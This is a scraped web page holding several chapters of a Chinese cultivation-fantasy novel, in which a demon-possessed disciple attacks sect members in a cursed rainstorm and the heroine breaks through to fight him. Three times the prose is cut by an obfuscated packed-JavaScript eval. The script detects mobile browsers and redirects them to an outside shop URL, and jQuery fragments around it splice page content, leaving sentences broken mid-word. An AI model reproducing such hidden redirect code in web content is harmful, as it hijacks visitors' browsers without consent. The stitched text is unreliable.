;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13963614|146283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用飞行灵器,选择徒步前行。行至半途,小路寂静,四周空无一人,忽有身影闪出。 李寻安惊恐万分,双膝跪地,紧握梅问君衣袖,恳求道:“梅师兄,此事万勿告知司空师姐,求您高抬贵手。” 梅问君冷然抽回衣袖,斥道:“你以为仅大师姐会责罚?我必上报掌门!” 李寻安闻言,面如土色,瘫软在地,绝望低语:“是你将我逼至此境。” “我不想这样的。” “我只是一时失言。” “那种女人死了算得了什么。” “我们都是沧澜符宗的弟子啊,为什么一直偏袒那个狂妄至极的女人,我明白了,你喜欢那贱女人,故而借机报复我,除掉我!只因我在针对那个贱女人” 梅问君怒喝:“住口!休得胡言乱语!” 霎时,空气凝滞,灵力流转减缓。 李寻安缓缓站起,柳清云心中一凛,紧拽着梅问君的衣袖,急退数步。 梅问君眉头轻锁,未及反应,李寻安已迅雷不及掩耳之势,短剑直刺其胸,旋即抽离。 柳清云瞠目结舌,凝视那柄短剑,正是小师妹所绘,镶嵌奇异球体的短刀,此刻去看好像有些变长,剑刃也显露出来。 而那奇异球体竟然是一个半拳大小的眼珠! “梅兄,速退!”柳清云急呼,拽着梅问君疾奔。 梅问君手捂伤处,喘息间,魔气肆虐,灵力渐消。 李寻安步步紧逼,梅问君连掷符咒,爆炸声四起,惊扰四邻。 “你一死,万事皆休,哈哈!”李寻安狂笑,面对符咒的猛然爆裂,他确实被短暂地牵制住了,但只需他轻握眼球短剑,悠然一挥,随后稍事等待,便可解决。 他显然已经入魔,加之手中所持的邪恶魔器,其力量之强,绝非梅问君与柳清云二人所能轻易抗衡。 梅问君口吐鲜血,倚靠柳清云,虚弱言道:“抱歉,累及于你。” 柳清云贴上极速符,二人冲入城中,人群惊散,避之不及。将至大师姐居所,短剑突现,穿柳清云胸而过,梅问君已经昏厥。 在闭眼那一刻,柳清云耳闻周围居民呼救之声:“救命!当街杀人了!” 徐听晚正于院中练剑,忽闻异响,疾步而出。只见李寻安手持眼珠短刀,正欲刺向柳清云心脉。徐听晚剑光一闪,斩向李寻安,同时脚下发力,甩出爆裂符咒,瞬间将李寻安逼退,动作干净利落。 石观明、温乐天与江月平闻声赶来。李寻安神智渐复,瞥见倒地的梅问君,怒目圆睁,挥出一道魔气缭绕的剑芒。徐听晚侧身躲过欲追,却被温乐天严词制止:“我派人去追。” 江月平迅速以灵力封住二人伤口,防止魔气蔓延。 温乐天背起梅问君,石观明则背起柳清云,一行人急赴沧澜符宗。 徐听晚眉头紧锁,心中暗自思量: 三师弟派人去追? 不能就这般轻易地放他离去。 算了,先救清云,到时候找到他新账旧账一起算! 徐听晚深吸一口气,紧随众人步伐,共赴前程。 25.黑阁 宗规繁多的宗门中,五行道宗与沧澜符宗并列前茅。 而在宗规执行之严苛上,玄天剑宗与沧澜符宗同样难分伯仲。 沧澜符宗,一个以铁律为纲,情感淡漠的所在。 外界对其评价褒贬不一。 据书卷上的闲人统计,沧澜符宗里的大多数人都觉得笑是一件很傻的事情。 徐听晚在屋外皱眉看见一排排整齐走去训练场的弟子。 徐听晚立于屋外,眉头紧锁,目睹着一列列弟子井然有序地步入训练场。 昨日,他们携受伤的柳清云与梅问君踏入宗门,未见他们有丝毫慌乱,一切处理得既迅速又妥当,房间安排亦是即刻完成。 她早上碰巧从训练完的弟子旁边路过,只见他们目光如炬,直视于她,一个个如同伪人一般。 温乐天缓步至徐听晚身侧,轻叹一声:“大师姐,我待不下去了,这里根本就没有活人!” 恰有弟子经过,闻声侧目,徐听晚轻敲温乐天额头,低语责备:“别乱说话。” 温乐天旋即展颜,对那弟子笑道:“开玩笑的啦!” 那弟子凝视温乐天片刻,面无表情,随即转身离去。 “……” 温乐天笑容凝固,转而望向徐听晚,眼中闪过一丝无奈。 “你所说的派人去追是何意?”徐听晚轻抚围栏,语气中带着一丝疑惑。 温乐天嘴角挂着温和的笑容,解释道:“我已通知二师兄与小师妹,在沧澜符宗安排的居所等候我们。” “你如何得知我在此?用书卷唤我岂不更为直接?”徐听晚倚靠围栏,目光紧锁温乐天。 阳光下,玉白围栏熠熠生辉,她浅黄衣袂随风轻摆,与围栏轻触,金线缠白玉,华贵织清冷。 温乐天轻笑,仿佛一切尽在掌握:“我料定你会守候在四师弟的居所前。” 此言意味深长,两人心照不宣,无需多言。 “不过是巧合罢了。”徐听晚耸耸肩,淡然回应。 “巧合罢了~”温乐天模仿她的语气,略带调侃。 徐听晚嘴角微扬,目光玩味地注视着温乐天。 “大师姐,饶了我吧~”温乐天突然求饶,随即转身疾跑。 徐听晚轻笑,紧随其后,两人未动用灵力与符咒,仅凭双脚,在院中追逐嬉戏。 “大师姐,别追了!” “那你也别跑!” 沧澜符宗的弟子们,在完成轮班训练后,遵循着每日既定的两点一线路径行进,突然间,两道身影毫无顾忌地从他们眼前掠过,带起一阵轻风,轻轻拂动了他们身着的统一宗服。 这突如其来的活力,打破了宗门内长久以来黑白交织、沉静如水的氛围,首次回荡起了清脆的嬉笑声,为这沉闷的空间添上了一抹生动。 路经此地的弟子们,目光温和地追随着那两道身影,宛如注视着一对无忧无虑的孩童,脸上带着宽容。 “三师弟,站住,别再跑了!”徐听晚瞪大了眼睛,对着前方疾驰的身影高声呼唤,语气中满是关切与焦急。 温乐天却侧头一笑,满不在乎地回应:“大师姐,你让我停我就停,我又不是柳清云。”言罢,他竟不慎与一人撞了个满怀。 “哎呀,这里怎么突然多了一堵墙!”他惊呼一声,随即揉着撞痛的脑袋,后退几步,抬头一看,只见一位腰间悬挂掌门令牌、衣衫整洁无暇、面容冷峻的男子正站在那里,正是沧澜符宗的掌门——谢止寒。 温乐天与徐听晚连忙拱手低头,异口同声地道:“谢掌门。” 谢止寒微微颔首,轻声应允。 徐听晚闻声,迅速抬起眼帘。 温乐天则缓缓放下手,心中不免忐忑,依旧低垂着头颅。毕竟,沧澜符宗掌门之名,素来与严苛、高要求相伴,他们这番嬉戏打闹,还恰巧撞上了他,生怕会被他扔出去。 “温乐天。” 谢止寒的声音平和而清晰,轻轻念出了他的名字。 温乐天闻声抬头,只见谢止寒的目光在他眉宇间稍作停留,随即移开。 “你与你母亲,真是如出一辙。” 温乐天愕然,目光紧锁谢止寒,心中惊疑不定。除了师母,何人能知晓他的身世? 谢止寒与徐听晚的目光在空中交汇,二人静默以对,最终,谢止寒轻声言道:“徐小友,你也颇有你父亲之风。”言毕,他转身,步伐从容地离去。 温乐天连忙跑到徐听晚身旁,心有余悸地说:“真是吓死我了。” 徐听晚瞥了他一眼,淡淡道:“叫你停步你不听,不听师姐言,吃亏在眼前。”说着,她迈步向沧澜符宗安排的居所走去。 温乐天轻嗯一声,紧随其后,皱眉思索,嘴里念念有词,却听不清具体说了些什么。 “月平!”徐听晚目光柔和地望向屋外静立的江月平,轻声细语地呼唤。 阳光洒落,为江月平青色的衣裳镀上了一层淡淡的暖意,显得格外温婉。 “大师姐。”她的声音依旧低沉而沉稳,仿佛她的情绪从不轻易外露。 徐听晚缓缓踱步至江月平身旁,贴近她的耳畔,以仅两人能闻的声音,分享了温乐天方才与谢掌门的小插曲:“月平,你可知乐天方才有多傻吗?他竟撞上了谢掌门。” “哈哈哈哈哈,你想象不到他当时那副又尴尬又怂的模样!”徐听晚忍俊不禁,笑声清脆。 江月平闻言,嘴角微扬,却也带着几分认真:“大师姐,那可是谢止寒,谁不害怕?传闻都说他的心是石头做的。” 徐听晚轻笑回应,眼中闪烁着狡黠:“传言亦云,我父亲乃是最有担当、最为温柔的掌门。可世间之事,岂能尽信传言?” 此时,温乐天悄然靠近,目光深邃地凝视着徐听晚:“大师姐,你这么害怕师父,但在外人眼中,徐掌门却是位温柔体贴、尽职尽责、深爱家人的好男人。” 他的眼神中充满了探究,与平日里的他大相径庭,仿佛一位极致疯狂的计谋者。 徐听晚心中一凛,瞬间意识到,能成为徐君彦弟子之人,绝非等闲之辈。她以同样深邃的目光回应温乐天的试探:“乐天,知道太多秘密的人,自身也会成为秘密。” 温乐天闻言,微微一怔,随即眼中闪过一抹惊讶。而江月平则轻轻皱眉,显然,徐听晚的这句话,同时点了他们二人。 实际上,这句话只是徐听晚的推测。在这个纷繁复杂的世界里,每个人心中都藏着不为人知的秘密,而揭开这些秘密的帷幕,往往伴随着巨大的风险。 仅仅揭露徐君彦与林流华对她的责打,或许难以掀起波澜。唯有确凿无疑地证明古忆南之死与二人有关,方能名正言顺地讨伐他们。 世间唯有死亡能终结生命,她深知这一点。因此,她必须抢先一步,主动出击,绝不能让自己成为任人宰割 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温乐天回忆道:“江枝意在事发前,曾化名潜入五行道宗,为师母待产护航。彼时,师父师母奉子成婚,消息轰动天河。对了,古忆南就是在不久后失踪的,其友遍寻无果,亦曾至黑阁求助。然母亲当时专注于江枝意之事,未深究古忆南之案。” 徐听晚挑眉赞道:“你记性真好。” 温乐天笑拍胸膛:“自幼记忆力超群,过目不忘,过耳成诵。” 徐听晚心中暗自串联线索,隐隐觉得此事没有那么简单。 江月平侧目望向她,察觉到她的注视,她轻轻对上她的眼眸,低语道:“看来,都藏着不少秘密呢。” 她本意提及的是自己的母亲,却未曾料到,这番话让江月平神色骤变,显得颇为紧张。 徐听晚继续清晰地说道:“我确定,我的母亲与古忆南之间有一个孩子,而古忆南的死,很可能与此事紧密相关。江枝意之所以找上我的母亲,恐怕也是为了那个孩子,她的死,与我的母亲有着千丝万缕的联系。” “但基于我对父亲的了解,如果母亲真的向他坦白了过往……不,观明,我记得在玩捉迷藏时,我们曾偷听到他们谈论要吞噬古忆南天灵根的对话,但在此之前,父亲似乎还说了些什么。” “我依稀记得,他提到‘他敢调戏夫人你,我杀他便是理所当然’,而我母亲则回应了一个‘当然,他该死。保存他尸体这么多年,总算找到了吞噬之法’。是不是这样?” 石观明沉思片刻后,点头确认道:“好像确实如此。” 徐听晚的眼中闪过一丝光芒,她说道:“这就意味着,母亲并未将此事告知父亲。”这让她心中又多了几分把握。 她的每一句话都如重锤般击打在江月平的心头,若猜测属实,他与徐听晚便是血脉相连的同母异父兄妹。 徐听晚似乎也反应过来,瞥了江月平一眼,但她此刻必须佯装无知。令她惊愕的是,江月平竟比她年长,是她的姐姐。 她语气坚定地说:“此事暂且搁置,当务之急是为清云复仇。观明,你留下守着清云,我们三人则去对付李寻安,并销毁那魔器。” 温乐天应声点头:“我已安排追踪,得知李寻安现藏于最远的上北城,城外密林之中。” 真相已在眼前,可报仇还需时间。 江月平点头应下徐听晚的话,现在她们就是一根绳上的蚂蚱。 三人随即启程,直奔上北城。 26.响雨 徐听晚低语,语气中透着凝重:“修士一旦入魔,加之魔器的助力,实难应付。你二人务必谨慎,我已向玄天剑宗掌门姜满通报,只需静待她到来。” 三人此刻正矗立于北城之外的雪松林入口,黑阁密报,那修士已深入林中,至今未出。 “她怎会在此?”温乐天眉头紧锁,目光所及,陆若音身旁伴着一袭黑白色衣裳,腰间挂着玉牌的女子,显然是一位沧澜符宗的亲传。 二人俯身低首,久久未起,引得徐听晚心生疑虑,快步上前:“去看看,情况有异!” 江月平与温乐天紧随其后,踏入雪松林,周遭景致骤变。 天际忽降大雨,雨点如豆,猛烈撞击地面。三人迅速凝聚灵力屏障以避雨势,但那连绵不绝的啪嗒声,却让人耳根生疼。 “快捂住耳朵!”徐听晚急切呼喊。 温乐天侧耳倾听,却只觉嗡鸣一片,大师姐的唇语清晰可见,声音却遥不可及。徐听晚见状,眉头拧得更紧,显然,这雨声已致听力受损,甚至引发耳部刺痛。她以手势示意二人效仿,自己亦照做。 疼痛蔓延至脑际,徐听晚思绪难宁,三人试图原路返回,却发现出口已被阵法封锁。 她猛然醒悟:灵力敏锐之耳,或许切断灵力方能缓解。一念及此,她忆起压灵符的存在,只需控制其力,或可解围。 于是,她取出六张空白符纸,强忍剧痛,手颤心坚,绘就六张下品压灵符。随即,她取其二贴于耳畔,疼痛果然逐渐消散。 她轻手将剩余四张符咒递予温乐天和江月平,二人依样画葫芦,将符咒轻贴耳畔。然而,这压灵符似乎对肩头的灵力流转略有桎梏,使得他们的修为无形中削减了三成。 温乐天忽有所悟,迅速取出一块云棉,灵巧地撕成六份,递予二人塞入耳中。顿时,周遭的一切声响皆被隔绝,耳中刺痛之感也随之消散。 江月平面露讶异,凝视着手中的云棉,最终未发一语,轻轻将其置入耳中。试想,若此事为外人所知,温乐天以此珍稀之物用来塞耳朵,定会引来一片哗然,痛斥其暴殄天物之举! 徐听晚取出符笔,在符纸上疾书:“一起走,先寻人。”其余二人默契点头,继续前行。 忽而,一滴异样的雨水落在徐听晚的发梢,她心中警铃大作,即刻拿出上品御灵伞,将温乐天和江月平拉至伞下。 先前,他们用微薄灵力构筑屏障以避雨,但此刻雨水竟轻易穿透屏障,显然非同小可。 徐听晚低头审视着被雨水浸湿的衣摆,只见其迅速沉重起来。江月平被徐听晚紧紧护在伞下,而温乐天则被她轻轻扯着衣领。 温乐天望向徐听晚,疑惑道:“大师姐,怎么了?”随即意识到无法听见回答,他耸了耸肩,试图挥去雨水,不料指尖轻触雨水,剧痛之下连忙撤回,惊愕地望向徐听晚与江月平。 他谨慎地行动,从储物袋中取出御灵伞,缓缓撑开,正欲迈步,衣摆却意外地沉重,猛然一拽,使他踉跄后仰。 江月平未觉身后变故,徐听晚见状大惊,迅速站稳,欲伸手相扶,然温乐天已失控撞向江月平,令她踉跄几步。 江月平的脸庞不慎撞在徐听晚胸前,手本能地撑去,却误触了敏感之地,她慌忙抽手,迅速立起。 徐听晚未留意江月平微妙反应,略带愠色地将温乐天扶正。温乐天尴尬转身,迎接他的是徐听晚在额上的一记重弹。 无声胜有声,大师姐的眼神中满含责备,温乐天心中暗自揣测其严厉言辞。 “笨手笨脚!” 温乐天撇了撇嘴,提起湿漉漉的衣摆,一脸惊愕。 这重量,竟如此难以摆脱,连清洁术都束手无策。 三人各执御灵伞,步履维艰,终至陆若音及其同伴消失之地。 两人血污满身,横卧于地。徐听晚眉头紧锁,瞥视二人后,迅速环顾四周,警惕异常。 江月平俯身,以伞遮雨,护佑二人免受雨水侵扰。温乐天则取出两套红衣,轻扯二人衣物,眼神示意江月平为她们更换。江月平微愣,目光游离,终是接过衣物,无奈之下,单手解开二人湿透的外衣。幸而时值盛夏,衣物轻薄,内衫虽湿,却无沉重之感。 她单手将干净外衣披于沧澜符宗亲传弟子身上,单手搀扶其起身。温乐天效仿之,为陆若音披上红衣,欲扶其起,不料陆若音迷糊中睁眼,见身上披着一件凌乱的红衣,怒从中来,抬手便是一掌。 温乐天猝不及防,被抽了一巴掌,怒目圆睁,斥道:“你干嘛,劳资好心救你,抬手就是一巴掌,有没有良心啊你!”然其怒斥之声,无人能听见,连他自己也无法听见。 陆若音只看见他的嘴巴一张一合,被打了也没有丝毫反应,想来是没有恶意,她叹了一口气,环视四周雪松。 雪松挺拔,遮天蔽日,针叶密布,然雨势不减,穿林而过。 耳中剧痛,令她目眩神迷,忽忆起某事,急呼:“李莫离!”声虽出,却无回响,方觉自己已失聪。 她猛然转头,见李莫离在江月平搀扶下安然无恙,心中稍安。 这位女子,正是沧澜符宗内备受瞩目的亲传小师妹——李莫离,她不仅是宗门中独一无二的剑修奇才,更在书卷美人榜位列第五。其容颜娇俏可人,言谈举止间温柔与雅致。 世人皆知,沧澜符宗与玄天剑宗之间虽素有嫌隙,但在这两大宗门之中,却有一段深厚的友情。 亲传弟子李莫离与陆若音,尽管身处敌对宗门,却情同手足,互为挚友。 在书卷之上,有人将这两位剑术超群的少女并称为:“温柔莫离,无相若音”。 这八字不仅精准地概括了她们各自的剑法特色——李莫离的剑法温婉细腻,如同春风拂面;而陆若音则剑走偏锋,无相无形,令人难以捉摸。 "一个…哈……一个沧澜符宗的内门弟子在这,他入魔了,他疯了!"陆若音厉声疾呼,声音中带着不容置疑的紧迫。 江月平与温乐天面面相觑,只看见她的嘴巴在动,听不见声音。 陆若音紧蹙眉头,捂住胸口那触目惊心的伤口,从储物袋中取出一枚复灵丹吞服下去。她轻拭去脸上的血痕,转身严肃的看着温乐天,想要用动作比划,恰巧见浑身湿透、满脸血污的李寻安,手持眼珠短刀,正疯狂地向徐听晚扑去。 她惊愕之下,松开捂住伤口的手,迅速抽出琉璃剑,手腕一抖,剑光如电,直逼李寻安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13993030|146283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而去。然而,琉璃剑与短刀交锋,却被一股诡异的力量弹开,徐听晚看见被弹到一旁的琉璃剑,立马拔出判决剑,反身一斩。 李寻安身形鬼魅,脚下突现一滩雨水,他身形一沉,便如泥牛入海,瞬间失去了踪影。 陆若音因动作过大,伤口撕裂,身形一晃,险些栽倒,幸得温乐天眼疾手快,将她稳稳接住。她靠在温乐天怀中,喘息未定,温乐天则紧锁眉头,将她揽住。 徐听晚见状,迅速绘制四张下品压灵符,分别贴在李莫离与陆若音耳畔。 温乐天则取出珍贵的云棉,毫不吝惜地也将云棉塞入二人耳中,以保护他们免受外界干扰。 云棉,作为制衣的珍稀材料,具备隔绝灵力与调节温度的独特功能。然而,其生长条件极为严苛,导致产量极为有限,稀少至极。 据闻,即便将天河大陆上的所有云棉汇聚一处,也未必能织就一件完整的衣物。这虽为众人之揣测,但鉴于其稀有性,实难有人验证此说法的真伪。 目睹这一幕的江月平,心中暗自咂舌,对温乐天的出手之大方感叹,不愧是黑阁的现任阁主。 李莫离缓缓睁开眼帘,剧烈的咳嗽让腹部血洞瞬间喷涌而出,鲜红的血液触目惊心,疼痛让她不由自主地倒吸一口冷气。 徐听晚迅速上前,从储物袋中取出止血带,动作娴熟地为她包扎。李莫离眯缝着眼,目光中满是感激,轻声吐出:“多谢……呃”,疼痛让她脸色瞬间苍白如纸。 此时,陆若音已彻底失去意识,徐听晚转而为她处理伤口。由于伤口位于胸部,处理过程中难免有所暴露,温乐天礼貌地侧过身去,避免直视。回想起陆若音方才咬紧牙关,毅然决然地掷出琉璃剑,温乐天心中有些惊讶。 剑修视本命灵剑为生命,轻易不离手。 当然,也有剑术超群者,能将此作为一种独特的攻击手段。 李莫离在短暂的喘息后,咬紧牙关,凭借顽强的意志自行站起。江月平适时松开搀扶的手,两人目光交汇,李莫离以点头表达深深的谢意。 徐听晚用悲秋笔,在洁白的符纸上缓缓勾勒出心中的疑惑,字迹苍劲有力。 “你们怎么在这?” 随后将符笔与符纸递予李莫离。忽忆符笔非符修难驭,遂自储物袋中取出一支普通毛笔,递予对方。 李莫离有些惊讶的看着徐听晚,没想到她也是剑符双修,关于五行道宗的传闻都是真的,两位剑符双修的天才。 见她手执符纸略显不稳,徐听晚轻施灵力,稳住了飘摇的符纸,助其书写。 “我与阿音相约上北城避暑,城外闲游之际,遥见大师姐手下弟子,神色慌张,奔入雪松林深处。心生忧虑,遂携若音尾随其后,不料误入此地,被困半日有余。就在刚刚,我与阿音发现沧澜符宗弟子李寻安倒地不起,上前查探,岂料他已入魔,突袭了我们。” 李莫离快速写下,字迹清晰。 徐听晚微微颔首,复又执符笔,于纸上继续书写疑问。 “这半日,可有什么发现?” 李莫离沉吟片刻,摇了摇头,提笔回复:“此地阵法繁复,范围广阔,我与阿音行走半日,仍未尽其边际。” 27.剑伞 正当众人沉浸在信息的交换中,一抹凛冽寒光猝然闪现,精准无误地刺入温乐天的胸膛。他瞪大双眼,双手紧握,稳稳托起陆若音,轻柔地置于地面,随后半跪,李寻安迅速抽出短刀,鲜血如泉涌,眼看就要溅及陆若音,他迅速以衣袖遮掩,防止自己的血溅在她身上。 这一击,险之又险地避开了他的心脉,身为剑修,此等疏忽实属罕见,显然他已失控至极。李寻安在一旁,歪头浅笑,眼神中透露出疯狂的偏执,紧盯着徐听晚不放。 变故突至,众人皆措手不及。天空骤变,雨点不再循规蹈矩,转而狂乱飞舞,伴随着呼啸的狂风,耳边符咒被轻易击落。 雨点化作重锤,无情地砸向众人,徐听晚挥剑刺向李寻安,却因雨点的猛烈冲击而偏离目标,李寻安轻松一侧身,便化险为夷。 “徐听晚。”随着李寻安这一声怒吼,众人惊觉,即便没有符咒束缚,耳畔也不再受痛。然而,此时的雨点已化作致命的武器,击中即沉,衣物渐重,步履维艰。 魔气悄然蔓延,温乐天眼前一黑,轰然倒地。李莫离虽奋力抵抗,终是难敌雨水的重压,她目光坚定,感受着身体逐渐被重量吞噬,艰难地爬向陆若音,轻声细语:“未曾想,我们竟真同年同月同日死了,当玩笑讲的话成了真。” 陆若音猛然间睁开朦胧的双眼,倏地坐起,琉璃剑仿佛有灵,瞬间飞回她的掌心 胸口灵力翻涌,她紧握剑柄,缓缓站起,环顾四周后,取出一柄精致的御灵伞,其上覆盖着一块珍贵的织星布。她轻解发间丝带,巧妙地将伞柄与琉璃剑的剑柄缠绕在一起。 嘴角勾起一抹淡笑,她整理着因扯出丝带而略显凌乱的发丝,随后猛然挥剑,精准地插入李莫离与温乐天之间,织星布恰到好处地将二人笼罩。这织星布,乃是由极地雪蝉丝线编织而成的极品防御布料,白纱轻盈,阳光下泛着点点星光。 此布原是姜满前几日赠予陆若音的生辰之礼,本打算寻裁缝缝入宗服,如今却在此刻派上了用场。李莫离目睹此景,眼眶泛红,泪水盈眶,颤抖着摇头。 陆若音完成这一切后,猛然跪倒在地,凝视着李莫离的双眸,嘴角挂着一丝苦笑。“若你们有幸生还,请莫让我死得太过狼狈,为我稍作装扮再埋入土里。我院中的白茶花树应已绽放,请在我身旁放上一朵。”她的声音轻柔却带着几分破碎,被密集的雨声击得支离破碎。 “阿音……不要……”李莫离泣不成声。 陆若音摘下手腕上的双响玉环,轻轻置于李莫离身旁。“这我最爱的手环,现赠予你。若你平安归去,请代我向我母亲转达,我并非只会耍性子的小女子,而是玄天剑宗堂堂正正的亲传三弟子。” 言罢,她目光转向一旁昏迷的温乐天,轻叹一声:“奸商,唉,那事其实是我错了……此番,便算是我彻底偿还了……”话音未落,她已无力地倒下,半睁的眼眸中满是坦然。 最后她轻声呢喃道:“爹爹你来接我,真好……” 雨点如重锤般无情地击落在她身上,灵力尽失的躯体瞬间被血污覆盖,发丝凌乱地纠缠在泥泞的积水中。 李莫离虽受雨水重压,却因织星布庇护,未再添新雨。她声嘶力竭地呼喊,喘息急促而沉重。 自责如刀割,她痛恨自己的无力,更悔于冲动之下拖拽她步入险境。 自此,雨天成了她心中难以释怀的阴霾。 她恨自己,恨雨天。 徐听晚与江月平二人,遭受着李寻安的连番戏耍与欺凌。 忽闻李莫离凄厉的呼喊,徐听晚心神恍惚间回望,却遭李寻安猛然挥刀,利刃深深嵌入她的脊背,将她击倒在地。雨水混杂着泥泞,无情地溅满了她的身躯。李寻安入魔后的实力,远超她先前的想象,竟能构建出如此庞大的咒印领域。 咒印与阵法,二者既相似又相异,皆拥有各自的领域与属性。阵法依托于五行八卦,阵心天启,而咒印则显得更为诡异,嗜血逆天,逆乱卦象。 李寻安一脚重重踏在徐听晚的背上,蹲下身,用锋利的刀刃紧贴着她的脖颈,挑衅的目光直射向江月平。江月平脚步一顿,青云剑紧握,双手微微颤抖。 “徐听晚,你也会有今天!”李寻安冷笑,“你不过是条天赋狗,上天赐予你如此好的天赋,你却狂妄自大,仗势压人。我付出的努力远胜于你千百倍,这天赋本该属于我!” 徐听晚嘴角勾起一抹苦笑:“我仗势压人?” “住口!”李寻安怒喝,刀刃又逼近了几分,鲜血顺着徐听晚的脖颈滑落,滴入积水之中。雨势愈发猛烈,视线模糊,她望向那片朦胧的墨绿雪松林,心中期盼着姜满掌门的到来。 她注意到江月平浑身颤抖的站在那里,心中暗自发誓:小师妹,别怕,我即便牺牲自己,也要为你争取到姜满掌门到来的那一刻。 李寻安嘴角勾起一抹玩味的笑,随手将昔日的本命灵剑掷于江月平脚边,轻描淡写地说:“握着剑刃蘸墨,写封道歉信来,若我满意,便饶你们一命,如何?” 徐听晚紧咬牙关,怒不可遏地吼道:“不准写!江月平,不准写!” 江月平面色平静,拾起地上的灵剑,毅然握紧剑刃,鲜血瞬间染红了掌心,顺着手臂缓缓滴落。她从储物袋中取出一纸信笺,不料被雨水打落,飘落在地。 “李寻安!”徐听晚的怒吼响彻云霄,心中暗自发誓,若是能活着,她必让李寻安生不如死。 李寻安见状,兴趣盎然地挥了挥手,雨水离开信纸,其他雨水也纷纷避开信纸。江月平拾起信纸,以灵力牵引着墨瓶至旁,颤抖的手指缓缓落下,一字一句地书写着道歉之词。 一滴鲜血不慎溅落在信纸边缘,缓缓晕染开来,雨水依旧无情地拍打着她的身躯。腰间悬挂的青云剑发出阵阵嗡鸣。 即便如此,江月平依然身姿挺拔,面容镇定自若。徐听晚的声音已近沙哑,她绝望地喊道:“别写了,让他杀了我吧,别再写了!”她的目光空洞地望着地面,不敢直视江月平。 李寻安眉头微蹙,冷声道:“跪下,我要你跪在我面前!”言罢,他手中的刀刃又逼近了几分,徐听晚感受到脖颈间传来的刺痛,全身颤抖不已。 李寻安的重压让她连呼吸都变得困难,雨水与她的泪水交织在一起,不断消耗着她的体力与灵力。 徐听晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14001497|146283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴唇颤抖,用尽全身力气挤出几个字:“别跪,我求你……” 江月平抬头望向李寻安,眼中闪过一丝决绝,随后双膝跪地,但她的目光依旧坚定,继续埋头书写。 以剑锋为笔,书写之途实为繁琐,其刃扁平,难以蓄墨,每落一笔,便需再蘸,颇为不便。 她竭力避免指尖血渍玷污字迹,然伤口日深,血流难止,唯有再耗灵力,轻托纸笺,另一手则悄然拭去血痕。 可灵力几近枯竭,为稳信纸,她不得不挪用护体灵力,勉力支撑。 徐听晚哽咽而言:“我欺负了你五年,让你冬天穿夏装,夏天穿冬装,表面说是锻炼你的心性,其实就是故意折磨你。我将你的考试令牌故意藏起,让你被长老责骂。我授意让那些人孤立你,给你使绊子,做了这么多恶事,何必救我?何不让他了结我性命?!” “别写了,别跪着啊啊啊!!”她体热如焚,头晕目眩,身躯颤抖不已。 李寻安冷笑:“徐听晚,你果然卑劣,仗才欺人,废物一个!继续嚎叫吧!” 江月平闻言停笔,徐听晚稍感宽慰,却闻其淡然言:“我写完了。” 徐听晚紧咬牙关,不再言语,一旁判决剑微光闪烁,剑身轻颤。 李寻安悠然抬手,微风轻拂,巧妙地将信纸送至他掌中。 “我江月平,自诩天赋异禀,狂妄自大,欺压弱小,实非人子所为。特此致歉,望李道友宽宏大量,忘却前嫌。” 他淡然诵读信上文字,嘴角勾起一抹淡笑,轻摇头颅:“此字欠佳,篇幅亦短,且血迹斑斑,难显诚意。” 徐听晚紧握双拳,天边乌云悄然汇聚,似有风暴将至。 闻言,江月平连忙取信重书,力求完美。 徐听晚深吸一口气,李寻安心中微动,抬眼望向天际,只见乌云压顶,雷光隐现。 他眉头紧锁,欲挥刀斩断眼前威胁,不料徐听晚竟徒手握刃,阻止了他的动作。 一股磅礴灵力自她体内爆发,将李寻安震退数步。徐听晚手持判决剑,缓缓起身,目光冷冽地望向李寻安。 “够了!别写了!”她厉声喝止,随即语气转寒:“李寻安,我要你生不如死!” "金丹渡劫!"李寻安失声惊呼。 刹那间,雷劫如怒龙破咒印而出,直扑徐听晚,其威猛之势,将李寻安震得踉跄倒地。 咒印消失,雨水也跟着消失。 徐听晚身形一闪,瞬至李寻安身旁,稳稳扶住其肩。随即,七道天雷轰然降临,李寻安紧握眼珠短刀,奋力抵挡,但雷威之强,仍使短刀表面浮现细微裂痕。 李寻安猛然挥刀,直取徐听晚心口,却被她敏捷地握住手腕,顺势一踢,化解攻势。 此刻,徐听晚手中的判决剑,在劫雷的洗礼下,绽放出耀眼的紫电光芒,她现在已经完成渡劫,到达元婴初期! 丹田里的灵力疯狂涌动,金丹变成小人,神识扩大数倍。 李寻安目光中满溢着恐惧,紧盯着徐听晚的眼眸,心中一横,眼眶瞬间布满了红血丝。他紧握着手中的短刀,眼神决绝。 今日,不是你死,便是我亡。 28.斩魔 李寻安紧握短刀,猛然间如同狂风骤雨般冲向徐听晚。徐听晚身形轻盈,微微一侧,短刀便擦着她的肌肤而过,留下一道浅浅的伤口在她的肩头。 